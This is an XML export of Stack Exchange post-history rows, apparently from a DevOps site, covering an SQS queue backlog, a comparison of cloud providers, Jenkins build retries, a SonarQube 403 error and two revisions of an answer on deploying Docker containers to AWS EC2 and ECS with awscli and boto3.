  <row Id="31943" PostHistoryTypeId="2" PostId="10389" RevisionGUID="9be1ca4d-2738-4bf1-8ba7-f10043052de3" CreationDate="2020-01-04T15:49:47.663" UserId="18937" Text="I'm new to SQS. &#xD;&#xA;&#xD;&#xA;I recently noticed the `ApproximateNumberOfMessagesVisible` in my SQS queue started rising. What was interesting though is that there was no sudden surge in the number of messages received or depression in number of messaged being deleted from the queue that corresponds with this surge.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;###`NumberOfMessagesSent`&#xD;&#xA;[![NumberOfMessagesSent][1]][1]&#xD;&#xA;&#xD;&#xA;###`NumberOfMessagesReceived`&#xD;&#xA;&#xD;&#xA;[![NumberOfMessagesReceived][2]][2]&#xD;&#xA;&#xD;&#xA;###`NumberOfMessagesDeleted`&#xD;&#xA;[![NumberOfMessagesDeleted][3]][3]&#xD;&#xA;&#xD;&#xA;###`ApproximateNumberOfMessagesVisible`&#xD;&#xA;[![ApproximateNumberOfMessagesVisible][4]][4]&#xD;&#xA;&#xD;&#xA;Increasing the number of SQS workers temporarily drained this queue, but what could be possible reasons for this increase? &#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: https://i.stack.imgur.com/e2K0H.png&#xD;&#xA;  [2]: https://i.stack.imgur.com/EYgaC.png&#xD;&#xA;  [3]: https://i.stack.imgur.com/DaCUr.png&#xD;&#xA;  [4]: https://i.stack.imgur.com/lpDfm.png" ContentLicense="CC BY-SA 4.0" />
  <row Id="31944" PostHistoryTypeId="1" PostId="10389" RevisionGUID="9be1ca4d-2738-4bf1-8ba7-f10043052de3" CreationDate="2020-01-04T15:49:47.663" UserId="18937" Text="SQS: What could high number of visible messages mean if messages received &amp; deleted are normal?" ContentLicense="CC BY-SA 4.0" />
  <row Id="31945" PostHistoryTypeId="3" PostId="10389" RevisionGUID="9be1ca4d-2738-4bf1-8ba7-f10043052de3" CreationDate="2020-01-04T15:49:47.663" UserId="18937" Text="&lt;amazon-web-services&gt;&lt;monitoring&gt;&lt;amazon-sqs&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="31946" PostHistoryTypeId="50" PostId="8837" RevisionGUID="277b2449-d28e-4c72-b7f2-d0aee9f6891e" CreationDate="2020-01-04T17:02:50.487" UserId="-1" />
  <row Id="31947" PostHistoryTypeId="2" PostId="10390" RevisionGUID="dd99c0a3-824f-4082-b63e-09d5659063c3" CreationDate="2020-01-04T20:38:19.450" UserId="405" Text="&gt;*there was no sudden surge in the number of messages received or depression in number of messaged being deleted from the queue that corresponds with this surge*&#xD;&#xA;&#xD;&#xA;Yes, it looks like there was.&#xD;&#xA;&#xD;&#xA;But first, be sure you have the correct [definitions](https://docs.aws.amazon.com/AWSSimpleQueueService/latest/SQSDeveloperGuide/sqs-available-cloudwatch-metrics.html) in mind for these metrics, because your intuitive interpretation might be reversed.&#xD;&#xA;&#xD;&#xA;&quot;Sent&quot; means *sent to SQS and added to the queue* (it does not mean sent to consumers) and &quot;received&quot; means *delivered to a consumer* (it does not mean received by SQS).&#xD;&#xA;&#xD;&#xA;Beginning at approximately 1600 on January 3 there is an unexplained dip in &quot;received&quot; performance.  The consumers slowed down and accepted messages at a slower rate, despite the fact that the available messages did not justify that reduction, suggesting that the consumers were not able to process messages at their typical rate.&#xD;&#xA;&#xD;&#xA;Beyond this point, the messages &quot;sent&quot; (enqueued) continued its undulating pattern, but the messages &quot;received&quot; (dequeued) and &quot;deleted&quot; (after processing) assumed a much flatter pattern, despite the fact that they had previously been following the same visual pattern as the &quot;sent&quot; value.&#xD;&#xA;&#xD;&#xA;It appears that your consumers have slowed down, for external reasons (probably unrelated to SQS -- something else the consumers communicate with, like maybe a database, is not responding as quickly as usual), and so the consumers are no longer able to keep up with the offered workload, and a backlog is growing.  &quot;Visible&quot; messages are the messages in the queue that are waiting for an available consumer to be ready to receive them.&#xD;&#xA;&#xD;&#xA;Theoretically, it *could* be that this is an internal performance problem inside SQS, but this seems very unlikely so I'd suggest that your consumers and the components of your stack that they interact with should be the focus of your troubleshooting." ContentLicense="CC BY-SA 4.0" />
  <row Id="31949" PostHistoryTypeId="34" PostId="10312" RevisionGUID="bb3dbb10-2565-40ce-bb25-2ffdc60cdb1f" CreationDate="2020-01-04T23:02:35.377" UserId="-1" Comment="51" />
  <row Id="31950" PostHistoryTypeId="5" PostId="8993" RevisionGUID="62b29767-2c06-4c00-8402-16a75417e280" CreationDate="2020-01-05T01:57:10.850" UserId="16753" Comment="added 609 characters in body" Text="You can use [Naginator plugin][1] in Jenkins to retry the build. This plugin has multiple options. &#xD;&#xA;&#xD;&#xA;&#xD;&#xA;Step 1: Install the Naginator plugin via the Plugin Manager.&#xD;&#xA;&#xD;&#xA;Step 2: In the post-build action of the job, the new option appears as `Retry after the build failure`&#xD;&#xA;&#xD;&#xA;[![enter image description here][2]][2] &#xD;&#xA;&#xD;&#xA;Step 3: Configure `Retry after the build failure` action. Example below&#xD;&#xA;[![enter image description here][3]][3]&#xD;&#xA;&#xD;&#xA;Step 4: If a job fails, you can identify whether successfully triggered or not it the build history &#xD;&#xA;[![enter image description here][4]][4]&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: https://wiki.jenkins.io/display/JENKINS/Naginator+Plugin&#xD;&#xA;  [2]: https://i.stack.imgur.com/H6c2N.png&#xD;&#xA;  [3]: https://i.stack.imgur.com/NYUXX.png&#xD;&#xA;  [4]: https://i.stack.imgur.com/6OpG8.png" ContentLicense="CC BY-SA 4.0" />
  <row Id="31952" PostHistoryTypeId="50" PostId="10023" RevisionGUID="95c0081b-7fd3-4bd6-9dc6-ed1d236f7cb8" CreationDate="2020-01-05T10:01:30.183" UserId="-1" />
  <row Id="31955" PostHistoryTypeId="2" PostId="10392" RevisionGUID="f22e91c8-859c-4b30-b24c-3aaff954d59e" CreationDate="2020-01-05T17:00:39.377" UserId="18765" Text="I need to decide, for a small client and a small budget (around $500 a month) the proper Cloud Provider to have some compute instances to hold a web server, a database and an Apache server. I was wondering, seeing companies such as DigitalOcean, that offer compute instances on a very low price compared to Oracle, Azure, AWS, Google...&#xD;&#xA;&#xD;&#xA;Why do companies choose these big corporations instead of the cheaper options when it comes to infrastructure? What is the big difference between such high and low prices?" ContentLicense="CC BY-SA 4.0" />
  <row Id="31956" PostHistoryTypeId="1" PostId="10392" RevisionGUID="f22e91c8-859c-4b30-b24c-3aaff954d59e" CreationDate="2020-01-05T17:00:39.377" UserId="18765" Text="What makes a difference between high-cost cloud providers and low-cost ones?" ContentLicense="CC BY-SA 4.0" />
  <row Id="31957" PostHistoryTypeId="3" PostId="10392" RevisionGUID="f22e91c8-859c-4b30-b24c-3aaff954d59e" CreationDate="2020-01-05T17:00:39.377" UserId="18765" Text="&lt;amazon-web-services&gt;&lt;cloud&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="31958" PostHistoryTypeId="5" PostId="10048" RevisionGUID="69958711-c81a-4b9a-b354-4dc4b0612d59" CreationDate="2020-01-05T17:49:39.430" UserId="40" Comment="integrate comment from OPer" Text=" have a pipeline job which keeps failing on Sonar Quality Gate stage with the below error:&#xD;&#xA;&#xD;&#xA;&gt; [Bitbucket] Build result notified&#xD;&#xA;&gt; org.sonarqube.ws.client.HttpException: Error 403 on&#xD;&#xA;&gt; http://illinXXXX:XXXXX/api/qualitygates/project_status?analysisId=XXXXXXXX&#xD;&#xA;&gt;     at org.sonarqube.ws.client.BaseResponse.failIfNotSuccessful(BaseResponse.java:34)&#xD;&#xA;&#xD;&#xA;What's more strange, another pipeline from the same MS, is passing that stage. They both are using the same Sonarquebe user and token, and the same stage syntax. &#xD;&#xA;&#xD;&#xA;Sonarqube version: 6.7.1 (build 35068).&#xD;&#xA;&#xD;&#xA;Notes:&#xD;&#xA;&#xD;&#xA;- I also tried [this][1], but it didn't work.&#xD;&#xA;- The logger for org.sonarqube.ws.client not working. it doesn't write anything to the log.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: https://issues.jenkins-ci.org/browse/JENKINS-48540" ContentLicense="CC BY-SA 4.0" />
  <row Id="31961" PostHistoryTypeId="5" PostId="10379" RevisionGUID="6c115391-17dd-4968-ae9f-ab8759861a8c" CreationDate="2020-01-05T20:55:48.543" UserId="707" Comment="added 3105 characters in body" Text="I will give it a try and explain all required steps with examples.&#xD;&#xA;&#xD;&#xA;Please add comments with questions and improvement suggestions if anything is not well enough explained.&#xD;&#xA;&#xD;&#xA;The OP (original poster) refers to `awscli`; while I provide corresponding examples, I also discuss limitations of this approach and give examples of doing same with Python.&#xD;&#xA;&#xD;&#xA;EC2 deployment&#xD;&#xA;========&#xD;&#xA;&#xD;&#xA;The purpose of this answer is to demonstrate that as OP correctly assumed, no Web UI access neither human interaction is mandatory to deploy a container on an AWS EC2 instance.&#xD;&#xA;&#xD;&#xA;**Scope and limitations**&#xD;&#xA;&#xD;&#xA;In this use case, we want to start just one container manually for demo/research purposes, therefore we explicitly decide to do no *[tag:orchestration]*. &#xD;&#xA;&#xD;&#xA;For a complex and possibly more realistic deployment scenario, this example is therefore not reusable. For same simplicity reasons, we will use EC2 service and create there a single virtual machine.&#xD;&#xA;&#xD;&#xA;According to a short documentation research, there seems to be no official AMI with pre-installed Docker daemon. Thus we need to deploy some default EC2 instance and install there Docker daemon, then start the daemon. &#xD;&#xA;&#xD;&#xA;While using a private registry, a login there is required; for simplicity purposes, I give also an example to run a container from the public Docker Hub registry.&#xD;&#xA;&#xD;&#xA;Also, I am not going to provide a copy-paste automation script but single steps which can be easily adopted towards individual needs. In any case, intermediate results require parsing and passing operations which is then a pure programming activity concern.&#xD;&#xA;&#xD;&#xA;A boilerplate automation could be done either with bash using awscli or with Python, using the [boto3 SDK][1] for AWS.&#xD;&#xA; &#xD;&#xA;Python is worth to consider because you can do better processing of JSON responses you get from AWS. You can also tell Python to execute SSH login and bash commands on the remote host.&#xD;&#xA;&#xD;&#xA;**Execution plan**&#xD;&#xA;&#xD;&#xA;* A. Identify recent Linux AMI (Amazon Machine Image) ID&#xD;&#xA;* B. Create keypair and instance (further, also referenced as VM)&#xD;&#xA;* C. Connect to the instance&#xD;&#xA;* D. Install and configure Docker daemon&#xD;&#xA;* E. Run container&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;**A. Identify recent Linux AMI image ID**&#xD;&#xA;&#xD;&#xA;Search for a recent and up-to-date Amazon Linux image following the official [documentation][2]:&#xD;&#xA;&#xD;&#xA;    $ aws ec2 describe-images --owners amazon --filters 'Name=name,Values=amzn2-ami-hvm-2.0.????????.?-x86_64-gp2' 'Name=state,Values=available' --query 'reverse(sort_by(Images, &amp;CreationDate))[:1].ImageId' --output text&#xD;&#xA;    ami-01f14919ba412de34&#xD;&#xA;&#xD;&#xA;**B. Create keypair and VM**&#xD;&#xA;&#xD;&#xA;With `awscli`, you would just say:&#xD;&#xA;&#xD;&#xA;    $ aws ec2 create-key-pair --key-name ec2-docker-test&#xD;&#xA;&#xD;&#xA;However, the API sends you your public key wrapped in a JSON data message. Therefore, using [Python][3] it is way easier to process this data message to a *.pem* file:&#xD;&#xA;&#xD;&#xA;    import boto3&#xD;&#xA;    ec2 = boto3.resource('ec2')&#xD;&#xA;    &#xD;&#xA;    # create a file to store the key locally&#xD;&#xA;    outfile = open('ec2-keypair.pem','w')&#xD;&#xA;    &#xD;&#xA;    # call the boto ec2 function to create a key pair&#xD;&#xA;    key_pair = ec2.create_key_pair(KeyName='ec2-docker-test')&#xD;&#xA;    &#xD;&#xA;    # capture the key and store it in a file&#xD;&#xA;    KeyPairOut = str(key_pair.key_material)&#xD;&#xA;    print(KeyPairOut)&#xD;&#xA;    outfile.write(KeyPairOut)&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;With the AMI ID we have got previously we can now create the VM:&#xD;&#xA;&#xD;&#xA;    instances = self.ec2r.create_instances(&#xD;&#xA;                     ImageId=AMI_ID,  &#xD;&#xA;                     MinCount=1,&#xD;&#xA;                     MaxCount=1,&#xD;&#xA;                     InstanceType=instance_type,&#xD;&#xA;                     KeyName='ec2-docker-test'&#xD;&#xA;                 )&#xD;&#xA;&#xD;&#xA;AWS API allows also lookup of instance state and IP. With little bit more  Python/*boto3* stanzas you can acquire this data to know when you can proceed.&#xD;&#xA;&#xD;&#xA;**Note: Firewall consideration**&#xD;&#xA;&#xD;&#xA;By default, AWS will create a security group without any traffic restrictions. In a more complex setup, you might want to consider this as well.&#xD;&#xA;&#xD;&#xA;**C. Test SSH connection**&#xD;&#xA;&#xD;&#xA;As soon as the instance is up and running, you can do everything you like by means of *remote command execution*.&#xD;&#xA;&#xD;&#xA;In a Bash script, you would use `ssh` only or `scp` to upload a local bash script and run it remotely.&#xD;&#xA;&#xD;&#xA;```&#xD;&#xA; ssh -t &lt;REMOTE_IP&gt; -i &lt;KEY_FILE&gt; &lt;COMMAND&gt;&#xD;&#xA;```&#xD;&#xA;&#xD;&#xA;With Python, you use further modules like [paramiko][4] to establish SSH connection and run commands remotely. &#xD;&#xA;&#xD;&#xA;    client = paramiko.SSHClient()&#xD;&#xA;    client.connect(ip, username=username, key_filename=key_filename, port=port,&#xD;&#xA;                               timeout=timeout,&#xD;&#xA;                               auth_timeout=timeout)&#xD;&#xA;    &#xD;&#xA;    stdin, stdout, stderr = ssh.exec_command(&quot;whoami&quot;)&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;For readability purposes, I list further commands unwrapped. In your script, you might want to use elementary helper subroutines to have calls like `ssh_call(command)`.&#xD;&#xA;    &#xD;&#xA;**D. Install and configure Docker daemon**&#xD;&#xA;&#xD;&#xA;As said above, anything else from here is running remote commands. &#xD;&#xA;&#xD;&#xA;That is, the concluding steps are, following an example in the [official documentation][5]; proceeding is same as you would do it locally, but you need to wrap it in your script and pass over intermediate results if required:&#xD;&#xA;&#xD;&#xA;* install and configure Docker daemon &#xD;&#xA;* login to your Docker registry if needed&#xD;&#xA;* pull image&#xD;&#xA;* run Docker container&#xD;&#xA;&#xD;&#xA;```&#xD;&#xA;    sudo yum update -y&#xD;&#xA;    sudo amazon-linux-extras install docker&#xD;&#xA;    sudo service docker start&#xD;&#xA;    sudo usermod -a -G docker ec2-user&#xD;&#xA;    # relogin or continue with sudo, which you shouldn't&#xD;&#xA;    aws ecr get-login --no-include-email --region region&#xD;&#xA;   &#xD;&#xA;&#xD;&#xA;```&#xD;&#xA;&#xD;&#xA;**E. Run container**&#xD;&#xA;&#xD;&#xA;Pull custom image and run container from a private registry in AWS.&#xD;&#xA;&#xD;&#xA;``` &#xD;&#xA;    docker pull aws_account_id.REGISTRY.ecr.REGION.amazonaws.com/REPOSITORY/IMAGE:TAG&#xD;&#xA;    docker run --name MYSERVICENAME -d -p PORT_HOST:PORT_CONTAINER IMAGE:TAG&#xD;&#xA;&#xD;&#xA;```&#xD;&#xA;&#xD;&#xA;Pull an official public  image and run another container listening on port 8001 in a single step:&#xD;&#xA;&#xD;&#xA;```&#xD;&#xA;    docker run --name nginx -d -p 8001:80 nginx:latest&#xD;&#xA;&#xD;&#xA;```&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;**Conclusion**&#xD;&#xA;&#xD;&#xA;Both Bash and Python implementation options have their benefits and drawbacks.&#xD;&#xA;&#xD;&#xA;Seen on long term, Python being a general purpose programming language with large community, allows complex string manipulation and abstractions from a cloud API or a system process.&#xD;&#xA;&#xD;&#xA;Without knowing the real goal of the deployment, a coherent wrap-up of above steps might not be worth the effort in terms that for deploying a set of related containers which is more typical scenario, other approaches could be more pragmatic. &#xD;&#xA;&#xD;&#xA;-------------------&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;Alternative scenario with ECS&#xD;&#xA;===================================&#xD;&#xA;&#xD;&#xA;As described in these Python/boto3 examples [here][6] and [here][7], it's possible to define an machine cluster with the AWS ECS service and run containers there.&#xD;&#xA;&#xD;&#xA;Please note that ECS cluster offers you an [abstraction][8] either from AWS EC2 or AWS Fargate to deliver the actual virtual machines.&#xD;&#xA;&#xD;&#xA;If we go for EC2, again we need to [pick up][9] a recent machine image, but this we need a machine optimized for ECS. In a nutshell, these machines will have an ECS agent; through its configuration, we assign a machine to our target cluster. &#xD;&#xA;&#xD;&#xA;A small bonus is also that ECS machines have Docker daemon already preinstalled.&#xD;&#xA;&#xD;&#xA;So, we create an ECS cluster and add a virtual machine to it.&#xD;&#xA;&#xD;&#xA;```&#xD;&#xA;ecs_client.create_cluster(clusterName=cluster_name)&#xD;&#xA;&#xD;&#xA;ec2_client.run_instances(&#xD;&#xA;        ImageId=AMI_ID,&#xD;&#xA;        MinCount=1,&#xD;&#xA;        MaxCount=1,&#xD;&#xA;        InstanceType=&quot;t2.micro&quot;,&#xD;&#xA;        IamInstanceProfile={&#xD;&#xA;            &quot;Name&quot;: &quot;ecsInstanceRole&quot;&#xD;&#xA;        },&#xD;&#xA;        UserData=&quot;#!/bin/bash \n echo ECS_CLUSTER=&quot; + cluster_name + &quot; &gt;&gt; /etc/ecs/ecs.config&quot;&#xD;&#xA;    )&#xD;&#xA;&#xD;&#xA;```&#xD;&#xA;&#xD;&#xA;In the cluster, we can create a task definition of the service which is a more abstract notion of the container.&#xD;&#xA;&#xD;&#xA;```&#xD;&#xA;ecs_client.register_task_definition(&#xD;&#xA;        containerDefinitions=[&#xD;&#xA;        {&#xD;&#xA;          &quot;name&quot;: &quot;&lt;MY_SERVICE&gt;&quot;,&#xD;&#xA;          &quot;image&quot;: &quot;&lt;MY_IMAGE&gt;&quot;,&#xD;&#xA;          &quot;portMappings&quot;: [&#xD;&#xA;            {&#xD;&#xA;              &quot;containerPort&quot;: 80,&#xD;&#xA;              &quot;hostPort&quot;: 80&#xD;&#xA;            }&#xD;&#xA;          ]&#xD;&#xA;        }&#xD;&#xA;        ],&#xD;&#xA;        family=&quot;hello_world&quot;&#xD;&#xA;    )&#xD;&#xA;```&#xD;&#xA;&#xD;&#xA;Now, possibly you ask yourself, how would the Docker daemon on the instance know about your private registry to pull the specified image? For that, the machine's ECS agent needs [additional configuration][10].&#xD;&#xA;&#xD;&#xA;Now, you can launch the service, which will use the task to tell the Docker daemon to pull the image and run the container on the machine you've included in the ECS cluster &lt;s&gt;in the house that Jeff built.&lt;/s&gt;&#xD;&#xA;&#xD;&#xA;```&#xD;&#xA;ecs_client.create_service(&#xD;&#xA;        cluster=cluster_name,&#xD;&#xA;        serviceName=service_name,&#xD;&#xA;        taskDefinition=task_name,&#xD;&#xA;        desiredCount=1,&#xD;&#xA;        clientToken='request_identifier_string',&#xD;&#xA;        deploymentConfiguration={&#xD;&#xA;            'maximumPercent': 200,&#xD;&#xA;            'minimumHealthyPercent': 50&#xD;&#xA;        }&#xD;&#xA;    )&#xD;&#xA;```&#xD;&#xA;Configuration of security groups in the ECS context has been highlighted on StackOverlow [already][11].&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: https://boto3.amazonaws.com/v1/documentation/api/latest/index.html&#xD;&#xA;  [2]: https://docs.aws.amazon.com/AWSEC2/latest/UserGuide/finding-an-ami.html#finding-an-ami-aws-cli&#xD;&#xA;  [3]: https://blog.ipswitch.com/how-to-create-an-ec2-instance-with-python&#xD;&#xA;  [4]: http://www.paramiko.org/&#xD;&#xA;  [5]: https://docs.aws.amazon.com/AmazonECS/latest/developerguide/docker-basics.html&#xD;&#xA;  [6]: https://github.com/kgoedecke/python-ecs-example/blob/master/python_ecs_example/deployment.py&#xD;&#xA;  [7]: https://github.com/AlexIoannides/py-docker-aws-example-project/blob/master/deploy_to_aws.py&#xD;&#xA;  [8]: https://aws.amazon.com/de/ecs/pricing/&#xD;&#xA;  [9]: https://docs.aws.amazon.com/AmazonECS/latest/developerguide/retrieve-ecs-optimized_AMI.html&#xD;&#xA;  [10]: https://docs.aws.amazon.com/AmazonECS/latest/developerguide/private-auth-container-instances.html&#xD;&#xA;  [11]: https://stackoverflow.com/questions/57827251/change-aws-ecs-services-security-groups" ContentLicense="CC BY-SA 4.0" />
  <row Id="31962" PostHistoryTypeId="5" PostId="10379" RevisionGUID="b432fde7-de07-4b3a-b12d-051a9adb6e9c" CreationDate="2020-01-05T21:11:11.010" UserId="707" Comment="added 3105 characters in body" Text="I will give it a try and explain all required steps with examples.&#xD;&#xA;&#xD;&#xA;Please add comments with questions and improvement suggestions if anything is not well enough explained.&#xD;&#xA;&#xD;&#xA;The OP (original poster) refers to `awscli`; while I provide corresponding examples, I also discuss limitations of this approach and give examples of doing same with Python.&#xD;&#xA;&#xD;&#xA;EC2 deployment&#xD;&#xA;========&#xD;&#xA;&#xD;&#xA;The purpose of this answer is to demonstrate that as OP correctly assumed, no Web UI access neither human interaction is mandatory to deploy a container on an AWS EC2 instance.&#xD;&#xA;&#xD;&#xA;**Scope and limitations**&#xD;&#xA;&#xD;&#xA;In this use case, we want to start just one container manually for demo/research purposes, therefore we explicitly decide to do no *[tag:orchestration]*. &#xD;&#xA;&#xD;&#xA;For a complex and possibly more realistic deployment scenario, this example is therefore not reusable. For same simplicity reasons, we will use EC2 service and create there a single virtual machine.&#xD;&#xA;&#xD;&#xA;According to a short documentation research, there seems to be no official AMI with pre-installed Docker daemon. Thus we need to deploy some default EC2 instance and install there Docker daemon, then start the daemon. &#xD;&#xA;&#xD;&#xA;While using a private registry, a login there is required; for simplicity purposes, I give also an example to run a container from the public Docker Hub registry.&#xD;&#xA;&#xD;&#xA;Also, I am not going to provide a copy-paste automation script but single steps which can be easily adopted towards individual needs. In any case, intermediate results require parsing and passing operations which is then a pure programming activity concern.&#xD;&#xA;&#xD;&#xA;A boilerplate automation could be done either with bash using awscli or with Python, using the [boto3 SDK][1] for AWS.&#xD;&#xA; &#xD;&#xA;Python is worth to consider because you can do better processing of JSON responses you get from AWS. You can also tell Python to execute SSH login and bash commands on the remote host.&#xD;&#xA;&#xD;&#xA;**Execution plan**&#xD;&#xA;&#xD;&#xA;* A. Identify recent Linux AMI (Amazon Machine Image) ID&#xD;&#xA;* B. Create keypair and instance (further, also referenced as VM)&#xD;&#xA;* C. Connect to the instance&#xD;&#xA;* D. Install and configure Docker daemon&#xD;&#xA;* E. Run container&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;**A. Identify recent Linux AMI image ID**&#xD;&#xA;&#xD;&#xA;Search for a recent and up-to-date Amazon Linux image following the official [documentation][2]:&#xD;&#xA;&#xD;&#xA;    $ aws ec2 describe-images --owners amazon --filters 'Name=name,Values=amzn2-ami-hvm-2.0.????????.?-x86_64-gp2' 'Name=state,Values=available' --query 'reverse(sort_by(Images, &amp;CreationDate))[:1].ImageId' --output text&#xD;&#xA;    ami-01f14919ba412de34&#xD;&#xA;&#xD;&#xA;**B. Create keypair and VM**&#xD;&#xA;&#xD;&#xA;With `awscli`, you would just say:&#xD;&#xA;&#xD;&#xA;    $ aws ec2 create-key-pair --key-name ec2-docker-test&#xD;&#xA;&#xD;&#xA;However, the API sends you your public key wrapped in a JSON data message. Therefore, using [Python][3] it is way easier to process this data message to a *.pem* file:&#xD;&#xA;&#xD;&#xA;    import boto3&#xD;&#xA;    ec2 = boto3.resource('ec2')&#xD;&#xA;    &#xD;&#xA;    # create a file to store the key locally&#xD;&#xA;    outfile = open('ec2-keypair.pem','w')&#xD;&#xA;    &#xD;&#xA;    # call the boto ec2 function to create a key pair&#xD;&#xA;    key_pair = ec2.create_key_pair(KeyName='ec2-docker-test')&#xD;&#xA;    &#xD;&#xA;    # capture the key and store it in a file&#xD;&#xA;    KeyPairOut = str(key_pair.key_material)&#xD;&#xA;    print(KeyPairOut)&#xD;&#xA;    outfile.write(KeyPairOut)&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;With the AMI ID we have got previously we can now create the VM:&#xD;&#xA;&#xD;&#xA;    instances = self.ec2r.create_instances(&#xD;&#xA;                     ImageId=AMI_ID,  &#xD;&#xA;                     MinCount=1,&#xD;&#xA;                     MaxCount=1,&#xD;&#xA;                     InstanceType=instance_type,&#xD;&#xA;                     KeyName='ec2-docker-test'&#xD;&#xA;                 )&#xD;&#xA;&#xD;&#xA;AWS API allows also lookup of instance state and IP. With little bit more  Python/*boto3* stanzas you can acquire this data to know when you can proceed.&#xD;&#xA;&#xD;&#xA;**Note: Firewall consideration**&#xD;&#xA;&#xD;&#xA;By default, AWS will create a security group without any traffic restrictions. In a more complex setup, you might want to consider this as well.&#xD;&#xA;&#xD;&#xA;**C. Test SSH connection**&#xD;&#xA;&#xD;&#xA;As soon as the instance is up and running, you can do everything you like by means of *remote command execution*.&#xD;&#xA;&#xD;&#xA;In a Bash script, you would use `ssh` only or `scp` to upload a local bash script and run it remotely.&#xD;&#xA;&#xD;&#xA;```&#xD;&#xA; ssh -t &lt;REMOTE_IP&gt; -i &lt;KEY_FILE&gt; &lt;COMMAND&gt;&#xD;&#xA;```&#xD;&#xA;&#xD;&#xA;With Python, you use further modules like [paramiko][4] to establish SSH connection and run commands remotely. &#xD;&#xA;&#xD;&#xA;    client = paramiko.SSHClient()&#xD;&#xA;    client.connect(ip, username=username, key_filename=key_filename, port=port,&#xD;&#xA;                               timeout=timeout,&#xD;&#xA;                               auth_timeout=timeout)&#xD;&#xA;    &#xD;&#xA;    stdin, stdout, stderr = ssh.exec_command(&quot;whoami&quot;)&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;For readability purposes, I list further commands unwrapped. In your script, you might want to use elementary helper subroutines to have calls like `ssh_call(command)`.&#xD;&#xA;    &#xD;&#xA;**D. Install and configure Docker daemon**&#xD;&#xA;&#xD;&#xA;As said above, anything else from here is running remote commands. &#xD;&#xA;&#xD;&#xA;That is, the concluding steps are, following an example in the [official documentation][5]; proceeding is same as you would do it locally, but you need to wrap it in your script and pass over intermediate results if required:&#xD;&#xA;&#xD;&#xA;* install and configure Docker daemon &#xD;&#xA;* login to your Docker registry if needed&#xD;&#xA;* pull image&#xD;&#xA;* run Docker container&#xD;&#xA;&#xD;&#xA;```&#xD;&#xA;    sudo yum update -y&#xD;&#xA;    sudo amazon-linux-extras install docker&#xD;&#xA;    sudo service docker start&#xD;&#xA;    sudo usermod -a -G docker ec2-user&#xD;&#xA;    # relogin or continue with sudo, which you shouldn't&#xD;&#xA;    aws ecr get-login --no-include-email --region region&#xD;&#xA;   &#xD;&#xA;&#xD;&#xA;```&#xD;&#xA;&#xD;&#xA;**E. Run container**&#xD;&#xA;&#xD;&#xA;Pull custom image and run container from a private registry in AWS.&#xD;&#xA;&#xD;&#xA;``` &#xD;&#xA;    docker pull aws_account_id.REGISTRY.ecr.REGION.amazonaws.com/REPOSITORY/IMAGE:TAG&#xD;&#xA;    docker run --name MYSERVICENAME -d -p PORT_HOST:PORT_CONTAINER IMAGE:TAG&#xD;&#xA;&#xD;&#xA;```&#xD;&#xA;&#xD;&#xA;Pull an official public  image and run another container listening on port 8001 in a single step:&#xD;&#xA;&#xD;&#xA;```&#xD;&#xA;    docker run --name nginx -d -p 8001:80 nginx:latest&#xD;&#xA;&#xD;&#xA;```&#xD;&#xA;&#xD;&#xA;-------------------&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;Alternative scenario with ECS&#xD;&#xA;===================================&#xD;&#xA;&#xD;&#xA;As described in these Python/boto3 examples [here][6] and [here][7], it's possible to define an machine cluster with the AWS ECS service and run containers there.&#xD;&#xA;&#xD;&#xA;Please note that ECS cluster offers you an [abstraction][8] either from AWS EC2 or AWS Fargate to deliver the actual virtual machines.&#xD;&#xA;&#xD;&#xA;If we go for EC2, again we need to [pick up][9] a recent machine image, but this we need a machine optimized for ECS. In a nutshell, these machines will have an ECS agent; through its configuration, we assign a machine to our target cluster. &#xD;&#xA;&#xD;&#xA;A small bonus is also that ECS machines have Docker daemon already preinstalled.&#xD;&#xA;&#xD;&#xA;So, we create an ECS cluster and add a virtual machine to it.&#xD;&#xA;&#xD;&#xA;```&#xD;&#xA;ecs_client.create_cluster(clusterName=cluster_name)&#xD;&#xA;&#xD;&#xA;ec2_client.run_instances(&#xD;&#xA;        ImageId=AMI_ID,&#xD;&#xA;        MinCount=1,&#xD;&#xA;        MaxCount=1,&#xD;&#xA;        InstanceType=&quot;t2.micro&quot;,&#xD;&#xA;        IamInstanceProfile={&#xD;&#xA;            &quot;Name&quot;: &quot;ecsInstanceRole&quot;&#xD;&#xA;        },&#xD;&#xA;        UserData=&quot;#!/bin/bash \n echo ECS_CLUSTER=&quot; + cluster_name + &quot; &gt;&gt; /etc/ecs/ecs.config&quot;&#xD;&#xA;    )&#xD;&#xA;&#xD;&#xA;```&#xD;&#xA;&#xD;&#xA;In the cluster, we can create a task definition of the service which are both abstract of the container concept.&#xD;&#xA;&#xD;&#xA;```&#xD;&#xA;ecs_client.register_task_definition(&#xD;&#xA;        containerDefinitions=[&#xD;&#xA;        {&#xD;&#xA;          &quot;name&quot;: &quot;&lt;MY_SERVICE&gt;&quot;,&#xD;&#xA;          &quot;image&quot;: &quot;&lt;MY_IMAGE&gt;&quot;,&#xD;&#xA;          &quot;portMappings&quot;: [&#xD;&#xA;            {&#xD;&#xA;              &quot;containerPort&quot;: 80,&#xD;&#xA;              &quot;hostPort&quot;: 80&#xD;&#xA;            }&#xD;&#xA;          ]&#xD;&#xA;        }&#xD;&#xA;        ],&#xD;&#xA;        family=&quot;hello_world&quot;&#xD;&#xA;    )&#xD;&#xA;```&#xD;&#xA;&#xD;&#xA;Now, possibly you ask yourself, how would the Docker daemon on the instance know about your private registry to pull the specified image? For that, the machine's ECS agent needs [additional configuration][10].&#xD;&#xA;&#xD;&#xA;Now, you can launch the service, which will use the previously defined task to tell the previously authorized Docker daemon to pull the previously built and published image from ECR and run the container on the machine you've included in the ECS cluster &lt;s&gt;in the data center house that Jeff 